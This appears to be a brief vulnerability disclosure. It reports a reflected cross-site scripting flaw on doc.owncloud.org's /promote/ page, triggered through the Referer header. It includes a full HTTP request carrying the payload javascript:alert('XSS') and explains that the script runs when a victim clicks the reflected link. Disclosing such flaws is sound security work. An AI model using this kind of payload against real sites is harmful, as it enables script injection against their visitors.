How it was found

Hi,

The Referer Header in the following request, can be used to trigger an XSS.

GET /promote/ HTTP/1.1 Host: doc.owncloud.org User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Referer: javascript:alert('XSS'); Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Content-Length: 2

The Referrer Value is reflected in the page (in the "referring page" link) see the PoC, however the XSS is not trigger until the victim click in the link.
